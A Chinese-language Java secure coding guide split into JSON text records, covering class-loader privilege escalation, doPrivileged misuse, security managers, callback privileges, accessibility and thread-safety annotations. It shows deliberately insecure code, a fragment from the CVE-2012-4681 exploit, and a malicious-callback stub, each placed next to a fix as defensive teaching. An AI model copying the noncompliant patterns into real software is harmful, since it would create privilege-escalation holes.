    {"text": "例如，试想不可信代码试图加载一个特权类的攻击场景，如果它的类加载器自身缺少加载所请求的特权类的权限，但是，类加载器可以将类的加载委托给可信类的类加载器，那么就会发生特权升级。 此外，如果可信代码接受被污染的输入，那么可信代码的类加载器就会代表不可信代码，加载恶意的特权类。"},
    {"text": "违规代码示例 下面的违规代码示例将System.loadLibrary()方法的调用嵌到了doPrivileged()语句块中。 public void load(String libName) { AccessController.doPrivileged(new PrivilegedAction() { public Object run() { System.loadLibrary(libName); return null; } }); } 这段代码是不安全的，因为它可以代表不可信代码来加载一个库。"},
    {"text": "在本质上，不可信代码的类加载器可以使用这段代码来加载一个库，即使它缺乏足够的权限直接去加载。 加载一个库后，不可信代码可以从该库中调用可供访问的本地方法，因为doPrivileged()语句块会妨碍安全管理器检查被应用到调用者进而执行堆栈。"},
    {"text": "private void load() { AccessController.doPrivileged(new PrivilegedAction() { public Object run() { System.loadLibrary(\"awt\"); return null; } }); } 违规代码示例 下面的违规代码示例将一个java.sql.Connection的实例从可信代码返回到不可信代码。 public Connection getConnection(String url, String username, String password) { // ... return DriverManager.getConnection(url, username, password); } 缺少创建SQL连接所需权限的不可信代码，可以通过使用直接获取的实例，绕过这些限制。"},
    {"text": "private String url = // Hardwired value public Connection getConnection(String username, String password) { // ... return DriverManager.getConnection(this.url, username, password); } 违规代码示例（CERT Vulnerability 636312） CERT漏洞注解VU#636312描述了一个Java 1.7.0版本第6次更新中的漏洞，该漏洞在2012年8月被广泛利用。"},
    {"text": "攻击程序实际上利用了两个漏洞，另一个的描述在《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“SEC05-J. Do not use reflection to increase accessibility of classes, methods, or fields”里。"},
    {"text": "一个正常的安全管理器检查，可以根据调用堆栈中所有调用者方法的特权（这些特权是和类的代码源相关联的），确定是允许还是拒绝特定动作。"},
    {"text": "因此，攻击程序利用了下面的代码来访问任意类，绕过了安全管理器： private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, \"forName\", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } java.beans.Expression.execute()方法将它的工作委托给了下面的方法： private Object invokeInternal() throws Exception { Object target = getTarget(); String methodName = getMethodName(); if (target == null || methodName == null) { throw new NullPointerException( (target == null ? \"target\" : \"methodName\") + \" should not be null\"); } Object[] arguments = getArguments(); if (arguments == null) { arguments = emptyArray; } // Class.forName() won't load classes outside // of core from a class inside core, so it // is handled as a special case. if (target == Class.class && methodName.equals(\"forName\")) { return ClassFinder.resolveClass((String)arguments[0], this.loader); } // ... com.sun.beans.finder.ClassFinder.resolveClass()方法将它工作委托给了它的findClass()方法： public static Class<?> findClass(String name) throws ClassNotFoundException { try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { loader = ClassLoader.getSystemClassLoader(); } if (loader != null) { return Class.forName(name, false, loader); } } catch (ClassNotFoundException exception) { // Use current class loader instead } catch (SecurityException exception) { // Use current class loader instead } return Class.forName(name); } 虽然这个方法是在applet的上下文中调用的，但它还是使用了class.forName()来获取所请求的类。"},
    {"text": "在这种情况下，调用类（com.sun.beans.finder.ClassFinder）是 Java 核心的一部分，因此，可信的类加载器代替了受更多限制的applet类加载器，同时可信的类加载器加载了所请求的类，它并不知道自己正在为恶意代码服务。"},
    {"text": "合规解决方案（CVE-2012-4681） Oracle公司通过对 com.sun.beans.finder.ClassFinder.findClass()方法打补丁，在Java 1.7.0版本的第7次更新中缓解了这个漏洞。"},
    {"text": "public static Class<?> findClass(String name) throws ClassNotFoundException { checkPackageAccess(name); try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); if (loader == null) { // Can be null in IE (see 6204697) loader = ClassLoader.getSystemClassLoader(); } if (loader != null) { return Class.forName(name, false, loader); } } catch (ClassNotFoundException exception) { // Use current class loader instead } catch (SecurityException exception) { // Use current class loader instead } return Class.forName(name); } 违规代码示例（CVE-2013-0422） Java 1.7.0版本的第10次更新在2013年1月因为几个漏洞被广泛攻击。"},
    {"text": "其中有一个这样的漏洞：com.sun.jmx.mbeanserver.MBeanInstantiator类给无特权代码授予了访问任何类的权限，不受当前安全策略或可访问性规则的限制。"},
    {"text": "可以通过任意一个字符串来调用 MBeanInstantiator.findClass()方法，并尝试返回以该字符串命名的Class对象。 这个方法将它的工作委派给了MBeanInstantiator. loadClass()方法，其源代码如下所示： /** * Load a class with the specified loader, or with this object * class loader if the specified loader is null. **/ static Class<?> loadClass(String className, ClassLoader loader) throws ReflectionException { Class<?> theClass; if (className == null) { throw new RuntimeOperationsException( new IllegalArgumentException( \"The class name cannot be null\"), \"Exception occurred during object instantiation\"); } try { if (loader == null) { loader = MBeanInstantiator.class.getClassLoader(); } if (loader != null) { theClass = Class.forName(className, false, loader); } else { theClass = Class.forName(className); } } catch (ClassNotFoundException e) { throw new ReflectionException( e, \"The MBean class could not be loaded\"); } return theClass; } 这个方法将动态加载指定类的任务委托给了Class.forName()方法， Class.forName()又将其工作委托给了它调用的方法的类加载器。"},
    {"text": "合规解决方案（CVE-2013-0422） Oracle公司在Java 1.7.0版本的第11次更新中，添加了对MBeanInstantiator. loadClass()方法的访问检查，缓解了这个漏洞。"},
    {"text": "// ... if (className == null) { throw new RuntimeOperationsException( new IllegalArgumentException( \"The class name cannot be null\"), \"Exception occurred during object instantiation\"); } ReflectUtil.checkPackageAccess(className); try { if (loader == null) // ... 适用性 允许不可信代码调用降低安全性检查的方法，将会导致特权升级。"},
    {"text": "例如，三参数的java.lang.Class.forName()方法需要一个显式的参数，用以指定要使用的类加载器实例。 public static Class forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException 当实例必须返回给不可信代码时，不要使用直接调用者的类加载器作为第三个参数。"},
    {"text": "参考文献 [API 2013] Class ClassLoader [Chan 1998] java.lang.reflect AccessibleObject [Guillardoy 2012] Java 0Day Analysis(CVE-2012-4681) [Long 2012] SEC00-J.Do not allow privileged blocks to leak sensitive information across a trust boundary SEC03-J. Do not load trusted classes after allowing untrusted code to load arbitrary classes SEC05-J. Do not use reflection to increase accessibility of classes, methods,or fields [Manion 2013] “Anatomy of Java Exploits” [Oracle 2013d] Oracle Security Alert for CVE-2013-0422 指南19：对细粒度的安全定义自定义安全权限 默认的SecurityManager会检查给定方法的调用者是否具有足够的继续执行动作的权限。"},
    {"text": "class LoadLibrary { private void loadLibrary() { AccessController.doPrivileged( new PrivilegedAction() { public Object run() { // Privileged code System.loadLibrary(\"myLib.so\"); // Perform some sensitive operation like // setting the default exception handler MyExceptionReporter.setExceptionReporter(reporter); return null; } }); } } 使用时，默认的安全管理器会禁止库的加载，除非RuntimePermission loadLibrary.myLib在策略文件中已被授权。"},
    {"text": "然而，安全管理器不会自动防护调用者的第二个敏感操作的执行，即设置默认异常处理程序，因为该操作的权限不是默认的，因此，安全管理器此时不会生效。"},
    {"text": "合规解决方案 下面的合规解决方案定义了一个自定义的权限ExceptionReporterPermission，与目标 exc.reporter，用以禁止非法调用者设置默认异常处理程序。"},
    {"text": "class LoadLibrary { private void loadLibrary() { AccessController.doPrivileged( new PrivilegedAction() { public Object run() { // Privileged code System.loadLibrary(\"myLib.so\"); // Perform some sensitive operation like // setting the default exception handler MyExceptionReporter.setExceptionReporter(reporter); return null; } }); } } final class MyExceptionReporter extends ExceptionReporter { public void setExceptionReporter(ExceptionReporter reporter) { SecurityManager sm = System.getSecurityManager(); if(sm != null) { sm.checkPermission( new ExceptionReporterPermission(\"exc.reporter\")); } // Proceed to set the exception reporter } // ... Other methods of MyExceptionReporter } final class ExceptionReporterPermission extends BasicPermission { public ExceptionReporterPermission(String permName) { super(permName); } // Even though the actions parameter is ignored, // this constructor has to be defined public ExceptionReporterPermission(String permName, String actions) { super(permName, actions); } } 策略文件需要授予两个权限：将ExceptionReporterPermission权限授予exc.reporter；"},
    {"text": "grant codeBase \"file:/c:/package\" { //For *nix, file:${user.home}/package/ permission ExceptionReporterPermission \"exc.reporter\"; permission java.lang.RuntimePermission \"loadLibrary.myLib\"; }; 默认情况下，不能使用BasicPermission将权限定义为支持动作，如果需要的话，可以在 ExceptionReporterPermission 的子类中自由地实现这些动作。"},
    {"text": "参考文献 [API 2013] Class FilePermission Class SecurityManager [Oaks 2001] “Permissions” subsection of Chapter 5, “The Access Controller,” [Oracle 2011d] Permissions in the Java™ SE 6 Development Kit(JDK) [Oracle 2013c] Java Platform Standard Edition 7 Documentation [Policy 2010] “Permission Descriptions and Risks” 指南20：使用安全管理器创建一个安全的沙盒 根据Java API中SecurityManager类的文档[API 2013]： 安全管理器是一个类，它允许应用程序实现一个安全策略。"},
    {"text": "在有些情况下，这很有用，比如在一个虚拟主机上有一个默认的安全管理器，它必须拒绝个人主机以自定义的安全管理器来覆盖默认的安全管理器。"},
    {"text": "关于自定义安全管理器与默认安全管理器的实现和使用，Java安全架构规范（Java security architecture specification） [SecuritySpec 2010]中是这么声明的： 我们鼓励在应用程序代码中使用AccessController类，而定制安全管理器（通过子类化）应该是最后的手段，应当十分小心。"},
    {"text": "例如， java.io.FileInputStream 的构造函数，如果调用者没有足够的读取文件的权限，它就会抛出 SecurityException 异常。 因为 SecurityException 安全异常是 RuntimeException 运行时异常的一个子类，所以一些 API 方法（如java.io.FileReader类的方法）的声明可能缺乏列出SecurityException的throws语句。"},
    {"text": "java -Djava.security.manager -Djava.security.policy=policyURL \\ LocalJavaApp 命令行参数标志可以指定一个自定义的安全管理器，其策略被全局执行。 使用-Djava.security.manager标志，如下所示： java -Djava.security.manager=my.security.CustomManager ... 如果由当前安全管理器执行的当前安全策略禁止替换（通过省略 Runtime Permission(\"setSecurityManager\")），那么任何试图调用 setSecurity Manager()的方法都会抛出SecurityException异常。"},
    {"text": "在类Unix系统及其等效的微软Windows系统的/path/to/java.home/lib/security目录中，可以找到默认的安全策略文件java.sercurity，它负责许多权限（读取系统属性、绑定到未授权端口等）的授予。"},
    {"text": "合规解决方案（定制策略文件） 当以一个定制的策略文件覆盖全局 Java 安全策略时，要使用双等号（==）替换单等号（=）： java -Djava.security.manager \\ -Djava.security.policy==policyURL \\ LocalJavaApp 合规解决方案（附加策略文件） appletviewer 自动安装了一个带有标准策略文件的安全管理器，并且使用-J标志指定了附加的策略文件。 appletviewer -J-Djava.security.manager \\ -J-Djava.security.policy==policyURL LocalJavaApp 注意，当安全属性文件（java.security）中的policy.allowSystemProperty属性值被设置为false时，参数中指定的策略文件就会被忽略；"},
    {"text": "try { System.setSecurityManager(null); } catch (SecurityException se) { // Cannot set security manager, log to file } 一个实施合理安全策略的活动的SecurityManager能阻止系统令其失效，让这段代码抛出SecurityException异常。"},
    {"text": "合规解决方案（默认安全管理器） 下面的合规解决方案对默认安全管理器进行了实例化和设置。 try { System.setSecurityManager(new SecurityManager()); } catch (SecurityException se) { // Cannot set security manager, log appropriately } 合规解决方案（自定义安全管理器） 下面的合规解决方案演示了如何实例化一个名为CustomSecurityManager的自定义安全管理器。"},
    {"text": "char password[] = /* 初始化 */ try { System.setSecurityManager( new CustomSecurityManager(\"password here\") ); } catch (SecurityException se) { // Cannot set security manager, log appropriately } 这段代码执行后，执行安全检查的API将使用这个自定义安全管理器。"},
    {"text": "参考文献 [API 2013] Class SecurityManager Class AccessControlContext Class AccessController [Gong 2003] §6.1, “Security Manager” [Policy 2010] Default Policy Implementation and Policy File Syntax [SecuritySpec 2010] §6.2, “SecurityManager versus AccessController” [Pistoia 2004] §7.4, “The Security Manager” 指南21：不要让不可信代码误用回调方法的特权 回调提供一种注册方法的手段，在其感兴趣的事件发生时将会被调用（或回调。"},
    {"text": "Java在很多地方都使用了回调， 如applet技术、响应Servlet的生命周期事件、AWT和 Swing 框架中的事件通知（如按钮单击事件），以及异步的读写操作等。"},
    {"text": "下面是回调的一般结构： public interface CallBack { void callMethod(); } class CallBackImpl implements CallBack { public void callMethod() { System.out.println(\"CallBack invoked\"); } } class CallBackAction { private CallBack callback; public CallBackAction(CallBack callback) { this.callback = callback; } public void perform() { callback.callMethod(); } } class Client { public static void main(String[] args) { CallBackAction action = new CallBackAction(new CallBackImpl()); // ... action.perform(); // Prints \"CallBack invoked\" } } 回调方法的调用通常没有特权的变化，这意味着，执行它们的上下文的特权可能比声明它们的上下文的多。"},
    {"text": "例如，一个文件选择器对话框，可以从用户动作中操作文件系统，这就可能导致恶意代码发送某些事件。 另外，恶意代码可以通过将看上去无害的东西伪装成一个文件选择器来重定向用户事件。"},
    {"text": "这条指南是指南17的一个实例，并且和《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“SEC01-J.Do not allow tainted variables in privileged blocks”有关。"},
    {"text": "public interface CallBack { void callMethod(); } class UserLookupCallBack implements CallBack { private int uid; private String name; public UserLookupCallBack(int uid) { this.uid = uid; } public String getName() { return name; } public void callMethod() { try (InputStream fis = new FileInputStream(\"/etc/passwd\")) { // Look up uid & assign to name } catch (IOException x) { name = null; } } } final class CallBackAction { private CallBack callback; public CallBackAction(CallBack callback) { this.callback = callback; } public void perform() { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run() { callback.callMethod(); return null; } }); } } 这段代码可以被客户端安全地使用，如下所示： public static void main(String[] args) { int uid = Integer.parseInt(args[0]); CallBack callBack = new UserLookupCallBack(uid); CallBackAction action = new CallBackAction(callBack); // ... action.perform(); // Looks up user name System.out.println(\"User \" + uid + \" is named \" + callBack.getName()); } 然而，攻击者可以通过注册MaliciousCallBack 实例，使用 CallBackAction和提升的特权执行恶意代码： class MaliciousCallBack implements CallBack { public void callMethod() { // Code here gets executed with elevated privileges } } // Client code public static void main(String[] args) { CallBack callBack = new MaliciousCallBack(); CallBackAction action = new CallBackAction(callBack); action.perform(); // Executes malicious code } 合规解决方案（回调自己调用doPrivileged块） 根据Oracle公司的安全编码指南[SCG 2010]：按照惯例，PrivilegedAction的实例和PrivilegedExceptionAction的实例可以提供给不可信代码，但不能以调用者提供的动作调用doPrivileged。"},
    {"text": "public interface CallBack { void callMethod(); } class UserLookupCallBack implements CallBack { private int uid; private String name; public UserLookupCallBack(int uid) { this.uid = uid; } public String getName() { return name; } public final void callMethod() { AccessController.doPrivileged(new PrivilegedAction<Void>() { public Void run() { try (InputStream fis = new FileInputStream(\"/etc/passwd\")) { // Look up userid and assign to // UserLookupCallBack.this.name } catch (IOException x) { UserLookupCallBack.this.name = null; } return null; } }); } } final class CallBackAction { private CallBack callback; public CallBackAction(CallBack callback) { this.callback = callback; } public void perform() { callback.callMethod(); } } 这段代码的行为和之前一样，但攻击者不能再以提升的特权执行恶意回调代码。 即使攻击者可以通过使用CallBackAction类的构造函数传递一个恶意的回调实例，代码也不能以提升的特权执行，因为恶意实例必须包含的doPrivileged语句块没有和可信代码一样的权限。"},
    {"text": "参考文献 [API 2013] AccessController.doPrivileged() [Long 2012] SEC01-J.Do not allow tainted variables in privileged blocks [SCG 2010] Guideline 9-2:Beware of callback methods Guideline 9-3: Safely invoke java.security. AccessController. doPrivileged [1] .“Exploiting Java Vulnerability CVE-2012-0507 Using Metasploit” is shared by user BreakTheSec on Slideshare.net (July 14, 2012); see www.slideshare.net/BreakTheSec/exploiting-java-vulnerability."},
    {"text": "Java语言本身的机制可以限制对象的作用域、生命周期以及对程序资源的访问，另外，Java还提供了很多注解帮助提升程序的可读性，让程序更可靠、更易维护。"},
    {"text": "public class Scope { public static void main(String[] args) { int i = 0; for (i = 0; i < 10; i++) { // Do operations } } } 上面的代码违规的原因是：尽管变量 i 在for循环外根本没有被使用，但是它还是被声明在了方法作用域中。"},
    {"text": "只有很少的场景需要把变量i声明在方法作用域中，其中之一是，在循环中有break语句，当循环结束后，方法体中还需要使用变量i来判定循环的执行进程。"},
    {"text": "public class Scope { public static void main(String[] args) { for (int i = 0; i < 10; i++) { // Contains declaration // Do operations } } } 违规代码示例 在下面的违规代码示例中，变量count被声明在了counter()方法之外，但是除了counter()方法，没有任何其他方法使用到它。 public class Foo { private int count; private static final int MAX_COUNT = 10; public void counter() { count = 0; while (condition()) { /* ... */ if (count++ > MAX_COUNT) { return; } } } private boolean condition() {/* ... */} // No other method references count // but several other methods reference MAX_COUNT } 上面代码中counter()方法的可重用性下降了，因为如果该方法被复制到其他类中，count变量也需要在新类中重新定义。"},
    {"text": "public class Foo { private static final int MAX_COUNT = 10; public void counter() { int count = 0; while (condition()) { /* ... */ if (count++ > MAX_COUNT) { return; } } } private boolean condition() {/* ... */} // No other method references count // but several other methods reference MAX_COUNT } 适用性 可以很简单地检测出所写代码中本地变量的作用域是否比其实际运用范围大，并且不存在误报的可能性。"},
    {"text": "参考文献 [Bloch 2001] Item 29, “Minimize the Scope of Local Variables” [JLS 2013] §14.4, “Local Variable Declaration Statements” 指南23：最小化@SuppressWarnings注解的作用域 编译器在为泛型代码添加类型的时候，如果检测到潜在的类型安全问题，会抛出 未检查警告（unchecked warnings），其中包括未检查的类型转换警告（unchecked cast warnings），未检查的代码调用警告（unchecked method invocation warnings），未检查的泛型数组创建警告（unchecked generic array creation warnings）和未检查的数据转换警 告（unchecked conversion warnings）[Bloch 2008]。 当且仅当触发警告的代码确实可以保证其类型安全的情况下，开发者才可以使用@SuppressWarnings(\"unchecked\")注解忽略这些未检查警告。"},
    {"text": "关于忽略未检查警告的风险在《CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“OBJ03-J. Do not mix generic with non- generic raw types in new code.”中有着更广泛的讨论。"},
    {"text": "在Java API文档中，关于@SuppressWarnings注解有如下描述[API 2013]： 作为一种编码风格，程序员应该尽可能地把该注解添加到最靠近其作用域的元素上。"},
    {"text": "@SuppressWarnings注解可以应用在变量、方法乃至整个类的声明语句上，因此，在使用该注解的时候，一定要注意缩小该注解的作用域，让其只作用在明确需要忽略警告的范围内。 违规代码示例 在下面的违规代码示例中，@SuppressWarnings注解的作用域是整个类。"},
    {"text": "@SuppressWarnings(\"unchecked\") class Legacy { Set s = new HashSet(); public final void doLogic(int a, char c) { s.add(a); s.add(c); // Type-unsafe operation, ignored } } 这段代码很危险，因为它忽略了该类中所有的未检查警告，这种性质的疏忽可能会导致程序在运行时出现ClassCastException异常。"},
    {"text": "合规解决方案 @SuppressWarnings注解的作用域应限制到最靠近产生警告的代码上，在下面的合规解决方案中，@SuppressWarnings注解被放在了声明Set变量s的代码上。"},
    {"text": "class Legacy { @SuppressWarnings(\"unchecked\") Set s = new HashSet(); public final void doLogic(int a, char c) { s.add(a); // Produces unchecked warning s.add(c); // Produces unchecked warning } } 违规代码示例（ArrayList） 下面的违规代码示例来自java.util.ArrayList的老版本实现。 SuppressWarnings(\"unchecked\") public <T> T[] toArray(T[] a) { if (a.length < size) { // Produces unchecked warning return (T[]) Arrays.copyOf(elements, size, a.getClass()); } // ... } 这段代码在编译时，会抛出一个未检查的类型转换警告： // Unchecked cast warning ArrayList.java:305: warning: [unchecked] unchecked cast found : Object[], required: T[] return (T[]) Arrays.copyOf(elements, size, a.getClass()); 因为return语句不是一个声明语句，所以不能在这条语句上添加@Suppress Warnings忽略这个警告[JLS 2013]。"},
    {"text": "结果，程序员就忽略了整个方法的警告，这会导致以后在该方法上添加的类型不安全的操作，所产生的类型安全警告被直接忽略的问题[Bloch 2008]。"},
    {"text": "合规解决方案（ArrayList） 当无法在合适的作用域使用@SuppressWarnnings注解时，就像上一个违规代码示例一样，可以声明一个新的变量来存储返回值，并在这个变量声明中使用@SuppressWarnnings注解。 // ... @SuppressWarnings(\"unchecked\") T[] result = (T[]) Arrays.copyOf(elements, size, a.getClass()); return result; // ... 适用性 未能减小@SuppressWarnnings注解的作用域，导致运行时异常，破坏了程序的类型安全机制。"},
    {"text": "参考文献 [API 2013] Annotation Type SuppressWarnings [Bloch 2008] Item 24, “Eliminate Unchecked Warnings” [Long 2012] OBJ03-J.Do not mix generic with nongeneric raw types in new code 指南24：最小化类及其成员的可访问性 在Java中，类及其成员（类、接口、属性和方法）都是访问受控的，访问权限由访问修饰符（public、protected或private）决定，如果没有访问修饰符则访问权限为默认访问（也可称为包私有访问）。"},
    {"text": "表2-1展示了一个简化的访问控制规则视图，其中，x表示由该行标识的访问修饰符修饰的类成员可以被该列标识的域的代码访问。 例如，在“Class”列中，如果标识了x，则表示在类中可以访问该访问修饰符定义的类成员。 同样，在“Package”列中，如果标识了x，并且加载包中的类（包括子类）和定义类成员的类加载器是同一个，则表示使用该访问修饰符定义的类成员可以被同一个包中的所有类（包括子类）访问。"},
    {"text": "表2-1 访问控制规则 注：*同一包中的子类可以访问那些没有指定访问修饰符（默认或者包私有的可见性）的类成员，但是有一个附加条件，子类必须和被访问的类成员变量被同一个类加载器加载。"},
    {"text": "当遵循了这条指南之后，就不必把成员变量设置为受保护的了，可以根据“OBJ01-J. Declare data members as private and provide accessible wrapper methods”[Long 2012]的推荐把属性声明为私有的。"},
    {"text": "public final class Point { private final int x; private final int y; public Point(int x, int y) { this.x = x; this.y = y; } public void getPoint() { System.out.println(\"(\" + x + \",\" + y + \")\"); } } 尽管上面的示例遵循了“OBJ01-J. Declare data members as private and provide accessible wrapper methods”[Long 2012]，不可信代码还是可以通过初始化Point实例，然后调用公共方法getPoint()获取到坐标。"},
    {"text": "合规解决方案（常量类和公共方法） 因为Point类仅仅是在内部使用，不是公共API的一部分，因此下面的合规解决方案把Point类声明为了包私有的。 final class Point { private final int x; private final int y; Point(int x, int y) { this.x = x; this.y = y; } public void getPoint() { System.out.println(\"(\" + x + \",\" + y + \")\"); } } 顶层类，如本例中的Point，不能声明为私有的，但是可以声明为包私有的，这可以避免包插入攻击。"},
    {"text": "尽管如此，这种攻击还是很难运用于实战，因为要想渗透到包结构中，除了要在同一个包中之外，目标类和不可信类还必须被同一个类加载器加载。"},
    {"text": "当类为常量类时，getPoint()方法可以声明为公共的，因为常量类无法被继承，想通过一个公共子类来覆盖 getPoint()方法或者把 getPoint()方法暴露给危险代码是违反规则的。 对于非常量类，则需要把getPoint()方法的访问权限修改为私有的或者包私有的，以消除风险。 合规解决方案（非常量类和非公共方法） 下面的合规解决方案把Point类和getPoint()方法都声明为了包私有的，这样的访问权限声明之后，Point类就不必再被声明为常量类了，因为只有在一个包下，且被同一个类加载器加载的代码才能访问Point类的getPoint()方法。 这同样可以规避掉通过一个公共子类来覆盖 getPoint()方法或者把 getPoint()方法暴露给危险代码的风险。 class Point { private final int x; private final int y; Point(int x, int y) { this.x = x; this.y = y; } void getPoint() { System.out.println(\"(\" + x + \",\" + y + \")\"); } } 违规代码示例（带有公开静态方法的公开类） 下面的违规代码示例又定义了一个只应用于系统内部、不属于任何一个公共API的类。"},
    {"text": "public final class Point { private static final int x = 1; private static final int y = 2; private Point(int x, int y) {} public static void getPoint() { System.out.println(\"(\" + x + \",\" + y + \")\"); } } 上面的示例同样遵从了“OBJ01-J. Declare data members as private and provide accessible wrapper methods”[Long 2012]，不可信代码可以访问Point类，调用公共静态的getPoint()方法获得默认的坐标。 代码中尝试使用私有的构造函数来控制对象实例的创建是无效的，因为公共静态的getPoint()方法已经泄漏了整个类的内部信息。"},
    {"text": "final class Point { private static final int x = 1; private static final int y = 2; private Point(int x, int y) {} public static void getPoint() { System.out.println(\"(\" + x + \",\" + y + \")\"); } } 经过修改后，getPoint()方法的访问权限下降到只有同一个包下的代码才能访问，不可信代码不能再通过调用getPoint()方法获取坐标信息。"},
    {"text": "有些系统的主要目的是提供API给第三方使用（或扩展）， 这些系统必须通过公开的接口开放API， 对于开发这类API系统的代码编写不适用于本指南。"},
    {"text": "参考文献 [Bloch 2008] Item 13, “Minimize the Accessibility of Classes and Members” Item 16, “Prefer Interfaces to Abstract Classes” [Campione 1996] Access Control [JLS 2013] §6.6, “Access Control” [Long 2012] ENV01-J.Place all security-sensitive code in a single JAR and sign and seal it OBJ01-J. Declare data members as private and provide accessible wrapper methods OBJ04-J. Provide mutable classes with copy functionality to safely allow passing instances to untrusted code [McGraw 1999] Chapter 3, “Java Language Security Constructs” 指南25：文档化代码的线程安全性 Java语言的注解（annotation）机制在文档化设计意图时非常有用。"},
    {"text": "源代码上的注解，其主要作用就是为一个程序元素附加一些元数据，并且让这些元数据在编译器、分析器、调试器或者Java虚拟机（JVM）做检查时可见。"},
    {"text": "第二组注解是由SureLogic发布并维护的，这部分注解的数量比第一组多很多，其发布在Apache Software License Version 2.0协议下，可以在www.surelogic.com网站上下载到。"},
    {"text": "@TheadSafe注解可以添加到一个类上，用以表明该类是线程安全的，不管是通过运行时的访问交织，还是通过外部的同步，抑或是协调调用者的调用顺序的方式，总之，任何无序列的访问（读写公共属性，调用公共方法）都不会导致该类的对象处于不一致的状态。"},
    {"text": "@ThreadSafe @Region(\"private AircraftState\") @RegionLock(\"StateLock is stateLock protects AircraftState\") public final class Aircraft { private final Lock stateLock = new ReentrantLock(); // ... @InRegion(\"AircraftState\") private long x, y; // ... public void setPosition(long x, long y) { stateLock.lock(); try { this.x = x; this.y = y; } finally { stateLock.unlock(); } } // ... } 注解@Region和@RegionLock标明了该类的锁策略，这个描述的锁策略保证了该类的线程安全。 尽管可以在类上添加一个或多个@RegionLock或@GuardBy注解来标明该类的锁策略，但是@TheadSafe注解能够提供一种更直观的方法，让代码的阅读者们能够更容易地获知该类是否是线程安全的。"},
    {"text": "@Immutable public final class Point { private final int f_x; private final int f_y; public Point(int x, int y) { f_x = x; f_y = y; } public int getX() { return f_x; } public int getY() { return f_y; } } 根据Joshua Bloch所说[Bloch 2008]： 没有必要说明枚举类型的不可变性。"},
    {"text": "因此，一个程序员也很难去判断一个类是否是线程安全的，这个注解的作用就在于清晰地标明了一个类不是线程安全的，程序员在使用的时候需要自己留心。"},
    {"text": "例如，java.util包下提供的大部分的集合实现都不是线程安全的，java.util. ArrayList类就可以通过下面的方式清晰地标明自身是非线程安全的。"},
    {"text": "package java.util.ArrayList; @NotThreadSafe public class ArrayList<E> extends ... { // ... } 文档化锁策略 在代码中标明用于保护对象共享状态的所有锁是非常重要的。"},
    {"text": "Brian Goetz和他的同事们是这样说的[Goetz 2006]： 对于每个可被多个线程访问的可变状态变量，如果所有访问它的线程在执行时都占有同一个锁，这种情况下，我们称这个变量是由这个锁保护的。"},
    {"text": "@ThreadSafe public final class MovablePoint { @GuardedBy(\"this\") double xPos = 1.0; @GuardedBy(\"this\") double yPos = 1.0; @GuardedBy(\"itself\") static final List<MovablePoint> memo = new ArrayList<MovablePoint>(); public void move(double slope, double distance) { synchronized (this) { rememberPoint(this); xPos += (1 / slope) * distance; yPos += slope * distance; } } public static void rememberPoint(MovablePoint value) { synchronized (memo) { memo.add(value); } } } 属性xPos和yPos上的@GuardedBy注解表明，这两个属性都被一个this对象锁保护着，而 move()方法也是基于this对象在做同步。"},
    {"text": "而 SureLogic公司提供的@RegionLock注解则解决了这个问题，当对一个类声明一个@RegionLock注解时，这个声明会创建一个新的锁，这个锁是一个特殊的、与类区域关联的锁对象。"},
    {"text": "例如，SimpleLock的锁策略标明它是在实例级别同步，会保护该实例的所有状态。 @RegionLock(\"SimpleLock is this protects Instance\") class Simple { ... } 不像@GuardedBy注解，@RegionLock注解允许程序员给锁策略定义一个显式的、有意义的名字。 除了给锁策略命名，SureLogic还提供了@Region注解，该注解允许程序员为一个锁的保护状态域命名，这样就把一个状态域和一个锁策略联系起来了，如下例所示。 @Region(\"private AircraftPosition\") @RegionLock(\"StateLock is stateLock protects AircraftPosition\") public final class Aircraft { private final Lock stateLock = new ReentrantLock(); @InRegion(\"AircraftPosition\") private long x, y; @InRegion(\"AircraftPosition\") private long altitude; // ... public void setPosition(long x, long y) { stateLock.lock(); try { this.x = x; this.y = y; } finally { stateLock.unlock(); } } // ... } 在上面的代码中，使用了一个名字为StateLock的锁策略，指明该类使用stateLock锁来保护一个名为AircraftPosition的域的线程安全，在该域中包含了用以表示飞机所在位置的可变状态。"},
    {"text": "如何安全地发布对象参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“TSM01-J. Do not let the this reference escape during object construction”，程序员可以在类的构造方法上添加@Unique(\"return\")注解来简洁地表达。 例如，在下面的代码中，对象构造函数上的@Unique(\"return\")注解标明了从该方法中返回的对象引用是唯一的。"},
    {"text": "@RegionLock(\"Lock is this protects Instance\") public final class Example { private int x = 1; private int y; @Unique(\"return\") public Example(int y) { this.y = y; } // ... } 文档化线程限制策略 Dean Sutherland和William Scherlis推荐了一批可以表述线程限制策略的注解，他们的研究允许在写好的代码上验证这些注解[Sutherland 2010]。"},
    {"text": "例如，下面的注解展示了一个程序员的设计意图，最多只能有一个抽象窗口工具箱（Abstract Window Toolkit，AWT）事件分派线程和几个计算线程，并且计算线程禁止处理AWT的数据结构或事件。"},
    {"text": "@ThreadRole AWT, Compute @IncompatibleThreadRoles AWT, Compute @MaxRoleCount AWT 1 文档化等待-通知协议 Brian Goetz和他的同事们提到[Goetz 2006]： 一个依赖于状态的类,要么完全将它的等待和通知协议暴露(并文档化)给子类,要么完全阻止子类参与其中。"},
    {"text": "）为继承设计一个依赖于状态的类，至少需要将条件队列和锁暴露出来，并且将条件谓词和同步策略都写入文档：它可能还需要暴露底层的状态变量。"},
    {"text": "参考文献 [Bloch 2008] Item 70, “Document Thread Safety” [Goetz 2006] Java Concurrency in Practice [Long 2012] TSM01-J. Do not let the this reference escape during object construction [Sutherland2010] “ComposableThreadColoring” 指南26：为方法的结果值提供反馈 方法都应该有一个返回值，这个值可以让开发者知晓对象的当前状态或者说该操作导致的结果。"},
    {"text": "开发者可以通过抛出异常来对一个方法的执行效果提供反馈，抛出的异常可分为两种类型，一种是Java库自带的标准异常，另一种是开发者自定义的异常，两种异常都需要继承自Exception类。"},
